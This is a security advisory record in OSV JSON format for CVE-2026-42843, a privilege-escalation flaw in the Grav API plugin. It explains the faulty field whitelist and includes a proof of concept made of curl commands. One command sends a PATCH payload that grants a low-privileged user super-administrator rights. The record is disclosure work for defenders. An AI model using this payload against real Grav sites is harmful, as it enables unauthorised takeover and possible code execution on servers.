{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav-plugin-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-beta.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:20:03Z",
    "nvd_published_at": "2026-05-11T17:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn insecure direct object reference and logic flaw in the Grav API plugin (`UsersController::update`) allows any authenticated user with basic API access (`api.access`) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (`admin.super` and `api.super`), leading to full system compromise and potential RCE.\n\n### Details\n\nThe vulnerability is located in `user/plugins/api/classes/Api/Controllers/UsersController.php` within the `update` method.\n\nThe API allows users to update their own profiles if they possess the basic `api.access` permission:\n\n```php\n// UsersController.php -\u003e update()\n$isSelf = $currentUser-\u003eusername === $username;\nif (!$isSelf) {\n    $this-\u003erequirePermission($request, \u0027api.users.write\u0027);\n} else {\n    // Self-edit only requires api.access\n    $this-\u003erequirePermission($request, \u0027api.access\u0027);\n}\n```\n\nHowever, when filtering the fields that are allowed to be updated via a `PATCH` request, the `access` field (which defines the user\u0027s role and permissions) is indiscriminately included in the `$allowedFields` whitelist for all users:\n\n```php\n// Partial update - only update provided fields\n$allowedFields = [\u0027email\u0027, \u0027fullname\u0027, \u0027title\u0027, \u0027state\u0027, \u0027language\u0027, \u0027content_editor\u0027, \u0027access\u0027, \u0027twofa_enabled\u0027];\nforeach ($allowedFields as $field) {\n    if (array_key_exists($field, $body)) {\n        $user-\u003eset($field, $body[$field]);\n    }\n}\n```\n\nBecause there is no secondary check to verify if the user attempting to modify the `access` field is already an administrator, any low-privileged user can overwrite their own `access` object with a malicious payload granting themselves `super: true`.\n\n### PoC\n\n1. **Prerequisites**: You need a low-privileged user account (eg. `user1`) that possesses the basic `api.access` permission.\n\n2. **Obtain JWT**: Authenticate to the API to obtain your `access_token`:\n\n   ```bash\n   curl -X POST http://\u003ctarget\u003e/api/v1/auth/token \\\n     -H \"Content-Type: application/json\" \\\n     -d \u0027{\"username\":\"user1\",\"password\":\"your_password\"}\u0027\n   ```\n\n3. **Exploit**: Send a `PATCH` request to the user update endpoint. \n\n   ```bash\n   curl -X PATCH http://\u003ctarget\u003e/api/v1/users/user1 \\\n     -H \"X-API-Token: \u003cyour_access_token\u003e\" \\\n     -H \"Content-Type: application/json\" \\\n     -d \"{\\\"access\\\":{\\\"admin\\\":{\\\"login\\\":true,\\\"super\\\":true},\\\"api\\\":{\\\"access\\\":true,\\\"super\\\":true},\\\"site\\\":{\\\"login\\\":true}}}\"\n   ```\n\n4. **Verification**: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.\n\n### Impact\n\nThis is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.",
  "id": "GHSA-r945-h4vm-h736",
  "modified": "2026-05-13T14:04:22Z",
  "published": "2026-05-05T21:20:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav-plugin-api/commit/26f529c7d438c73343e82311fb095caeaf1a6116"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav API Privilege Escalation to Super Admin"
}